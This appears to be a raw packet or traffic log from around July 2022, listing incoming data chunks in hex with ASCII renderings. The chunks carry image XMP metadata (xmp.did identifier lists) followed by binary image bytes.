2022-07-20 04:06:51 UTC	4405	IN	Data Raw: 44 38 43 38 33 46 38 33 44 32 31 39 46 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 36 30 37 43 43 45 31 39 32 30 36 38 31 31 41 44 33 39 42 31 41 36 39 43 31 32 37 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 39 45 39 35 43 38 34 32 44 43 45 30 31 31 38 44 41 42 44 36 32 32 30 44 44 41 34 39 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 42 42 41 38 35 31 30 45 37 32 45 38 31 31 38 44 33 43 41 36 35 30 45 43 35 33 41 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 42 45 41 34 45 30 30 45 32 30 36 38 31 31 41 42 30 38 45 41 43 46 43 36 39 44 46 39 43 38 3c 2f 72 64 66 3a 6c 69 Data Ascii: D8C83F83D219F7B</rdf:li> <rdf:li>xmp.did:6B607CCE19206811AD39B1A69C127F67</rdf:li> <rdf:li>xmp.did:6B9E95C842DCE0118DABD6220DDA49C7</rdf:li> <rdf:li>xmp.did:6BBBA8510E72E8118D3CA650EC53AA58</rdf:li> <rdf:li>xmp.did:6BBEA4E00E206811AB08EACFC69DF9C8</rdf:li
2022-07-20 04:06:51 UTC	4413	IN	Data Raw: 46 31 34 45 33 31 31 41 31 31 41 44 42 30 41 44 34 46 30 31 44 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 32 41 36 34 41 38 30 37 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 33 43 41 31 31 34 38 32 32 30 36 38 31 31 38 43 31 34 38 30 34 34 46 35 33 41 30 46 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 33 62 35 34 30 61 2d 36 37 38 61 2d 34 32 34 37 2d 38 39 38 32 2d 31 36 36 61 61 39 63 36 34 38 34 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 34 31 30 38 31 46 30 41 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 Data Ascii: F14E311A11ADB0AD4F01DCF</rdf:li> <rdf:li>xmp.did:722A64A8072068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:723CA114822068118C148044F53A0F87</rdf:li> <rdf:li>xmp.did:723b540a-678a-4247-8982-166aa9c6484e</rdf:li> <rdf:li>xmp.did:7241081F0A2068118A6DC638F9FC
2022-07-20 04:06:51 UTC	4429	IN	Data Raw: 44 32 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 31 41 31 37 32 41 32 45 32 30 36 38 31 31 38 33 36 37 43 31 36 37 32 41 37 32 37 31 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 32 39 63 30 30 39 2d 35 66 30 33 2d 34 34 66 31 2d 38 39 36 61 2d 30 62 35 39 32 63 33 66 64 30 61 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 33 64 31 36 33 64 2d 37 32 37 39 2d 34 36 61 65 2d 39 66 65 63 2d 35 34 32 63 36 32 30 63 33 36 62 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 35 42 37 35 37 42 45 45 43 37 45 33 31 31 42 36 44 35 43 44 30 46 33 37 37 34 39 41 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: D27A</rdf:li> <rdf:li>xmp.did:821A172A2E2068118367C1672A727171</rdf:li> <rdf:li>xmp.did:8229c009-5f03-44f1-896a-0b592c3fd0a7</rdf:li> <rdf:li>xmp.did:823d163d-7279-46ae-9fec-542c620c36b6</rdf:li> <rdf:li>xmp.did:825B757BEEC7E311B6D5CD0F37749A43</rdf:li> <
2022-07-20 04:06:51 UTC	4445	IN	Data Raw: 2d 39 30 61 35 2d 35 30 30 64 38 31 63 37 34 37 37 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 35 32 35 38 61 32 2d 61 64 66 66 2d 34 31 61 65 2d 38 64 36 37 2d 32 37 61 32 33 36 63 64 39 36 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 38 30 61 36 63 65 2d 39 38 36 38 2d 63 62 34 34 2d 38 65 61 37 2d 37 31 35 39 30 35 66 35 37 38 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 61 38 38 64 62 62 2d 36 66 62 39 2d 64 39 34 36 2d 62 64 37 32 2d 36 30 33 65 61 65 61 38 61 66 36 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 61 39 30 66 39 33 2d 65 65 64 33 2d 61 32 34 63 2d 61 33 37 36 2d 35 Data Ascii: -90a5-500d81c7477f</rdf:li> <rdf:li>xmp.did:8e5258a2-adff-41ae-8d67-27a236cd9613</rdf:li> <rdf:li>xmp.did:8e80a6ce-9868-cb44-8ea7-715905f57865</rdf:li> <rdf:li>xmp.did:8ea88dbb-6fb9-d946-bd72-603eaea8af6c</rdf:li> <rdf:li>xmp.did:8ea90f93-eed3-a24c-a376-5
2022-07-20 04:06:51 UTC	4452	IN	Data Raw: 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 35 41 36 38 42 45 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 36 61 39 62 38 38 2d 66 32 33 36 2d 34 61 31 63 2d 61 39 35 33 2d 30 31 66 31 62 38 36 62 62 65 30 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 37 66 34 34 63 63 2d 61 32 63 31 2d 38 63 34 64 2d 61 30 35 34 2d 36 34 30 36 35 66 38 63 64 37 66 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 39 38 66 32 66 36 2d 33 66 31 66 2d 34 62 34 35 2d 62 33 63 31 2d 64 66 31 39 39 63 36 32 64 64 37 31 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: 35</rdf:li> <rdf:li>xmp.did:965A68BE0720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:966a9b88-f236-4a1c-a953-01f1b86bbe0e</rdf:li> <rdf:li>xmp.did:967f44cc-a2c1-8c4d-a054-64065f8cd7fb</rdf:li> <rdf:li>xmp.did:9698f2f6-3f1f-4b45-b3c1-df199c62dd71</rdf:li>
2022-07-20 04:06:51 UTC	4468	IN	Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 39 31 36 41 33 41 31 41 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 45 31 43 46 46 37 37 34 32 31 36 38 31 31 39 39 34 43 41 31 41 43 41 37 35 43 45 34 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 46 31 34 39 32 41 39 45 31 42 45 31 31 31 38 38 45 33 41 45 39 44 39 32 43 41 45 46 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 46 46 41 44 45 43 30 46 32 30 36 38 31 31 39 32 42 30 46 43 38 35 30 32 37 33 30 46 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 39 30 37 45 30 43 42 46 Data Ascii: df:li>xmp.did:A8916A3A1A2068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:A8E1CFF774216811994CA1ACA75CE444</rdf:li> <rdf:li>xmp.did:A8F1492A9E1BE11188E3AE9D92CAEF2E</rdf:li> <rdf:li>xmp.did:A8FFADEC0F20681192B0FC8502730FE5</rdf:li> <rdf:li>xmp.did:A907E0CBF
2022-07-20 04:06:51 UTC	4484	IN	Data Raw: 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 33 36 38 32 36 36 39 30 31 41 45 32 31 31 38 37 36 31 45 38 45 46 42 33 36 37 44 39 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 34 41 37 43 43 34 39 45 39 33 44 46 31 31 39 30 41 43 42 36 35 35 32 42 44 43 42 37 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 37 42 33 38 35 32 32 41 32 30 36 38 31 31 39 32 42 30 41 34 32 34 38 37 30 35 39 42 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 42 30 41 34 43 42 32 45 32 30 36 38 31 31 38 30 38 33 45 36 44 38 33 31 32 42 31 38 39 37 3c 2f 72 64 66 Data Ascii: 1192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.did:C2368266901AE2118761E8EFB367D965</rdf:li> <rdf:li>xmp.did:C24A7CC49E93DF1190ACB6552BDCB702</rdf:li> <rdf:li>xmp.did:C27B38522A20681192B0A42487059B16</rdf:li> <rdf:li>xmp.did:C2B0A4CB2E2068118083E6D8312B1897</rdf
2022-07-20 04:06:51 UTC	4492	IN	Data Raw: 3a 43 44 45 46 42 45 36 42 35 43 32 30 36 38 31 31 38 46 36 32 43 37 34 44 31 32 41 35 36 36 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 44 46 31 34 46 33 36 31 39 32 30 36 38 31 31 42 45 39 43 38 38 46 42 34 46 36 44 39 32 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 30 42 34 41 30 44 39 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 31 43 41 33 37 45 38 38 42 45 44 45 31 31 42 46 33 36 39 32 39 31 35 41 35 41 32 45 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 32 33 45 33 42 30 30 46 32 30 36 38 31 31 38 37 31 46 39 44 Data Ascii: :CDEFBE6B5C2068118F62C74D12A566D9</rdf:li> <rdf:li>xmp.did:CDF14F3619206811BE9C88FB4F6D925B</rdf:li> <rdf:li>xmp.did:CE0B4A0D96226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:CE1CA37E88BEDE11BF3692915A5A2ECB</rdf:li> <rdf:li>xmp.did:CE23E3B00F206811871F9D
2022-07-20 04:06:51 UTC	4508	IN	Data Raw: 42 37 41 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 31 42 43 34 38 35 46 34 32 33 36 38 31 31 38 41 36 44 45 41 35 36 41 42 34 43 34 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 33 44 34 43 34 41 43 39 32 30 36 38 31 31 42 30 34 43 44 45 44 46 38 31 43 38 35 43 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 34 32 42 45 43 33 32 34 32 30 36 38 31 31 38 30 38 33 41 33 34 37 32 44 37 31 32 31 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 36 46 41 34 33 35 41 37 32 32 36 38 31 31 39 30 32 39 39 46 46 34 41 41 42 43 42 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: B7A81</rdf:li> <rdf:li>xmp.did:E21BC485F42368118A6DEA56AB4C45D8</rdf:li> <rdf:li>xmp.did:E23D4C4AC9206811B04CDEDF81C85CB3</rdf:li> <rdf:li>xmp.did:E242BEC3242068118083A3472D712128</rdf:li> <rdf:li>xmp.did:E26FA435A722681190299FF4AABCB75E</rdf:li> <rdf:li>
2022-07-20 04:06:51 UTC	4524	IN	Data Raw: 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 36 32 33 36 38 42 46 46 42 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 37 31 43 46 36 44 39 45 32 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 33 42 44 46 32 37 42 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 35 44 39 43 43 42 38 43 36 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 Data Ascii: id:F77F1174072068119109C62368BFFBF7</rdf:li> <rdf:li>xmp.did:F77F1174072068119109C71CF6D9E2A4</rdf:li> <rdf:li>xmp.did:F77F1174072068119109D83BDF27B5D0</rdf:li> <rdf:li>xmp.did:F77F1174072068119109E5D9CCB8C630</rdf:li> <rdf:li>xmp.did:F77F1174072068119109
2022-07-20 04:06:51 UTC	4528	IN	Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 35 36 35 46 32 32 46 37 32 30 36 38 31 31 38 30 38 33 41 33 39 39 39 45 39 46 34 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 36 32 31 32 39 41 30 32 30 39 45 30 31 31 39 31 42 46 42 32 36 36 34 36 41 42 43 33 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 36 32 37 45 35 41 45 30 46 45 45 30 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 37 41 38 31 34 42 41 31 34 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 Data Ascii: f:li>xmp.did:F8565F22F72068118083A3999E9F4936</rdf:li> <rdf:li>xmp.did:F862129A0209E01191BFB26646ABC3DE</rdf:li> <rdf:li>xmp.did:F8627E5AE0FEE011BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:F87F117407206811808387A814BA1408</rdf:li> <rdf:li>xmp.did:F87F117407
2022-07-20 04:06:51 UTC	4544	IN	Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 33 66 31 32 64 32 37 2d 38 33 38 63 2d 63 35 34 62 2d 62 39 32 36 2d 30 38 61 38 37 66 35 31 36 65 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 38 32 66 64 38 34 2d 32 35 66 62 2d 36 37 34 61 2d 61 64 33 35 2d 39 30 65 34 30 61 61 62 35 32 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 39 64 64 63 34 62 2d 33 31 63 34 2d 34 66 62 61 2d 39 62 36 39 2d 30 63 39 38 62 34 38 34 32 62 65 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 61 33 39 36 35 63 2d 30 64 64 36 2d 34 30 34 35 2d 61 33 33 65 2d 30 61 32 39 32 37 33 35 61 61 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: li>xmp.did:a3f12d27-838c-c54b-b926-08a87f516e8d</rdf:li> <rdf:li>xmp.did:a482fd84-25fb-674a-ad35-90e40aab52ec</rdf:li> <rdf:li>xmp.did:a49ddc4b-31c4-4fba-9b69-0c98b4842be2</rdf:li> <rdf:li>xmp.did:a4a3965c-0dd6-4045-a33e-0a292735aa19</rdf:li> <rdf:li>xmp.
2022-07-20 04:06:51 UTC	4560	IN	Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 34 66 64 33 33 61 66 2d 38 32 38 62 2d 34 62 37 30 2d 61 33 64 31 2d 37 37 61 39 65 63 63 62 36 64 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 31 36 35 35 36 66 2d 66 33 64 36 2d 34 63 31 36 2d 62 32 36 37 2d 30 31 37 36 31 39 33 31 65 65 33 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 36 35 39 30 35 35 2d 32 35 61 38 2d 34 36 34 63 2d 61 62 38 34 2d 39 61 32 38 64 32 62 66 38 61 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 38 30 33 30 30 61 2d 36 31 65 37 2d 63 64 34 66 2d 61 61 33 65 2d 62 34 39 32 62 33 62 32 35 64 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 Data Ascii: :li>xmp.did:d4fd33af-828b-4b70-a3d1-77a9eccb6dbb</rdf:li> <rdf:li>xmp.did:d516556f-f3d6-4c16-b267-01761931ee3c</rdf:li> <rdf:li>xmp.did:d5659055-25a8-464c-ab84-9a28d2bf8aaf</rdf:li> <rdf:li>xmp.did:d580300a-61e7-cd4f-aa3e-b492b3b25d66</rdf:li> <rdf:li>xmp
2022-07-20 04:06:51 UTC	4564	IN	Data Raw: 2d 61 64 63 35 2d 34 61 62 30 2d 38 39 30 62 2d 65 38 35 30 61 66 61 62 65 38 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 36 63 36 34 65 61 2d 36 63 65 36 2d 66 35 34 66 2d 62 63 64 65 2d 35 63 33 66 61 63 34 35 34 66 30 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 37 31 30 36 38 31 2d 62 62 32 38 2d 34 39 31 38 2d 62 39 33 33 2d 36 62 36 31 37 38 36 65 38 65 65 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 62 38 33 39 64 31 2d 34 62 66 66 2d 34 31 62 63 2d 39 31 33 32 2d 37 35 36 32 64 65 63 32 61 33 66 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 63 63 62 64 65 34 2d 36 39 61 62 2d 61 Data Ascii: -adc5-4ab0-890b-e850afabe8af</rdf:li> <rdf:li>xmp.did:e16c64ea-6ce6-f54f-bcde-5c3fac454f0d</rdf:li> <rdf:li>xmp.did:e1710681-bb28-4918-b933-6b61786e8eef</rdf:li> <rdf:li>xmp.did:e1b839d1-4bff-41bc-9132-7562dec2a3f3</rdf:li> <rdf:li>xmp.did:e1ccbde4-69ab-a
2022-07-20 04:06:51 UTC	4580	IN	Data Raw: 19 49 a9 0a f5 af 32 b7 9a 25 5e 4e 5d 2d bd 20 45 89 04 87 d1 fb 70 8b f9 95 46 b9 d0 7f f5 a6 58 f9 79 5e a5 92 6d e7 21 23 09 19 b5 1d 83 16 6f 34 48 ca 51 53 e5 ff 00 4b b4 d0 e0 26 53 ac d9 10 29 72 a1 58 b8 63 c0 8e 5a a3 ff 00 12 ce e5 9d cd 18 76 a7 c1 c4 5a 30 4c 68 a8 aa 42 f0 a5 3b d2 58 5d ae 7e f3 36 99 3e f5 26 49 85 60 31 cb 1a 95 2b 29 15 5e 3c ac cc e7 f0 df 5e 66 49 c9 3f 90 2c 82 ea b6 25 7c b4 f0 55 09 2a 31 d4 7a c5 61 89 e9 7c 73 0a 63 e2 37 e5 26 90 5d 7c 44 f1 03 b6 f8 6b 63 3e 83 9f 1b 33 6f 96 38 a4 95 64 66 25 56 95 05 8a b1 bd da fe 5e 55 6b 74 ff 00 33 38 6d 53 db 0b df 7f 13 6d 38 13 de e4 5d 2b c8 91 2e fc eb 49 d6 38 e1 c2 93 c0 03 27 37 51 95 6d e7 f7 79 6f d2 91 cb 2b 1c 9f 99 5b 51 90 c9 8b 7b d5 53 8d ad fd f4 66 46 12 Data Ascii: I2%^N]- EpFXy^m!#o4HQSK&S)rXcZvZ0LhB;X]~6>&I`1+)^<^fI?,%\|U*1za\|sc7&]\|Dkc>3o8df%V^Ukt38mSm8]+.I8'7Qmyo+[Q{SfF
2022-07-20 04:06:51 UTC	4596	IN	Data Raw: 56 67 66 57 1c 85 1e 2b bc de ef ea eb 3d e3 ca ce c0 a9 66 b1 40 2e 47 b5 ee b7 e2 57 ab 85 b1 16 e1 fd f4 7e 20 8e 05 63 34 8b 2f 52 4a ad a3 80 f6 5b f6 79 b4 42 67 42 d2 2c 48 40 bf 8a d7 85 7e 11 a9 6c 3f 51 63 19 65 c1 c9 90 44 44 62 40 ed ca 80 77 3b fd d4 e6 b5 74 67 55 71 27 58 72 89 72 40 60 c0 70 20 ff 00 99 a9 7d b3 06 fc c0 d7 b6 43 da 5f 66 a9 9e 9c bd 9c 69 87 a9 a6 ff 00 4e c5 fc ec 81 af c5 75 93 94 71 22 bd 37 4f fa 91 c8 da 5f be 65 8d e2 1f c9 43 03 4b 16 42 54 bb 29 00 54 56 3b 7f 6f 4f 8c 98 99 91 ac 33 72 4c 85 65 42 fc 6b 4e 1f 6a cf d5 e5 6d 48 ed f9 bb a3 e6 4b 83 8e 1a 4c 3c 59 55 55 d2 97 15 3f 32 d9 19 fb f6 ff 00 95 df d3 9f d2 c7 1a a4 90 b2 be 86 45 c9 b0 78 f9 bf 87 22 ff 00 98 8f f0 c9 9f 25 58 35 c5 fb 46 84 52 08 b2 f1 Data Ascii: VgfW+=f@.GW~ c4/RJ[yBgB,H@~l?QceDDb@w;tgUq'Xrr@`p }C_fiNuq"7O_eCKBT)TV;oO3rLeBkNjmHKL<YUU?2Ex"%X5FR
2022-07-20 04:06:51 UTC	4604	IN	Data Raw: 49 14 56 da cc 18 02 09 03 ba ea 2f e5 ef 5d f1 e9 fe 0e f7 85 0b fe 53 0a 43 2d 88 5c b1 e6 2c 47 da ba ef 3f 2d fa 5d 8f b6 47 2d 21 8c 44 f2 0a c9 2c 59 20 99 03 9e ea 47 14 dc fd 3b 15 ad e4 b2 ef 16 81 c0 f4 e2 60 ee 28 72 a1 3b 7b ca 82 30 f8 ee 15 1d 8f 3d 8c 53 93 a8 ca b6 74 ed f8 75 79 92 36 8d 96 40 c8 50 e7 cd d7 91 f1 45 f0 ff 00 94 d5 05 3f 30 f3 02 05 f5 03 e8 d4 c7 0f 66 ff 00 51 6f ce 97 99 0b 92 a6 f5 b9 ab 75 bc b7 16 b6 38 bd ff 00 fc ef 36 c9 7a 32 b6 34 d3 a4 f5 24 23 8b 55 ae 1f 89 03 a2 78 97 bc ad fd cd 24 6c fd c3 d3 72 cb 01 89 72 60 46 0c a4 1b 24 22 4e 76 99 d7 f0 1a d9 6f 4e 4e 9e a6 96 29 e1 ac 8b 22 15 67 e6 bc 98 a4 0e 39 fa 8b 23 7f db bb 79 55 72 75 51 b5 6d e0 6d 50 ae 0b e5 60 79 bf f1 3f 33 2c 7a 93 96 aa 58 a9 b0 d3 Data Ascii: IV/]SC-\,G?-]G-!D,Y G;`(r;{0=Stuy6@PE?0fQou86z24$#Ux$lrr`F$"NvoNN)"g9#yUruQmmP`y?3,zX
2022-07-20 04:06:51 UTC	4620	IN	Data Raw: 15 7b eb cd f0 e9 b5 98 ca fe 66 01 01 5b 32 df cc 57 6e 96 e9 ee d5 a2 b8 3c c0 1b fa 05 aa ac 6e 86 23 47 37 c1 68 4a 30 b9 83 78 ae e2 d7 77 7b be 0d 50 64 4f 8b be c2 22 db 1e 18 f2 f8 5c 59 48 3c 3b f1 dd 6f 7f 53 d8 fb 18 97 6e 9b 70 62 53 39 58 aa c6 d5 b5 ff 00 97 13 c4 bc cc d2 3f 72 de 6d 26 db b2 24 ce c8 95 18 7e 4f a8 cc 59 94 b5 a2 44 2b 5c 79 23 6b 7b 92 5a cf 7f 3f 8b 59 67 6e 92 dd d0 90 62 e2 7b bf 63 f9 bf 0d 58 82 09 65 e0 78 8a ad 8f 20 ed 12 fe 57 70 8f a4 67 4e 3d 3e 61 4a da f4 f7 7e ce 9f 6d 1b 9e 3c 8c d1 c5 2c 61 05 aa 89 75 59 47 77 e6 53 bb cd a8 bf 50 61 1c 25 0f ba 65 fc ef e1 f5 01 2b 51 e2 53 08 fc 36 5e 5e 7f 16 8e db 67 58 c5 d1 34 47 80 60 d1 b1 aa 90 2e e6 51 fa f7 e8 0f b7 49 22 f3 0e b9 71 23 2f 2d b1 f0 e5 54 2e 54 Data Ascii: {f[2Wn<n#G7hJ0xw{PdO"\YH<;oSnpbS9X?rm&$~OYD+\y#k{Z?Ygnb{cXex WpgN=>aJ~m<,auYGwSPa%e+QS6^^gX4G`.QI"q#/-T.T
2022-07-20 04:06:51 UTC	4636	IN	Data Raw: 5a 7e 75 be 5f 26 b4 6d b2 6e 3b 3c e9 b8 c5 21 68 55 81 72 af 70 70 08 ea c5 d3 ef 3f 2b 79 7d fd 0a 0f 96 98 c9 77 61 9d 8e 0b d0 7c ce e3 67 fe 2a 24 53 f9 66 e1 72 36 e1 7c 6c d4 26 44 59 8b bb 3e 36 c3 7a 26 3b b3 c0 a0 b5 a6 9c 26 76 bf bd cd df 6f 16 9c 6f 19 83 75 c1 96 7c d9 6e dc 18 51 a2 02 84 05 23 a9 ee f7 79 93 bd 77 9f 42 ee be a6 ca 9b 25 64 48 a2 8f a5 7f 4d d6 ac 48 76 ea fb 4a f7 b4 87 75 f5 06 46 7c cf 97 9d d3 69 8a 04 14 51 70 1f 45 57 b9 ad b4 59 66 09 92 85 c6 cd ca dc ec ea 7b f5 4d c3 c5 91 6d 72 6d 2d d9 8f 86 96 41 1b 4f 30 5c 68 43 1f ac 17 3a e9 58 1e 8f c2 db 57 af ba 11 2e 42 ad 5a 24 a0 45 f6 8e b3 af ec a7 eb eb 99 61 ef 99 98 0e 46 3d aa a4 8b 94 a8 21 a8 6e b5 fc 56 e9 f6 e3 eb 3c cd d6 36 c6 3d 35 8e 7e 0d 4e 04 7b 4d Data Ascii: Z~u_&mn;<!hUrpp?+y}wa\|g*$Sfr6\|l&DY>6z&;&voou\|nQ#ywB%dHMHvJuF\|iQpEWYf{Mmrm-AO0\hC:XW.BZ$EaF=!nV<6=5~N{M
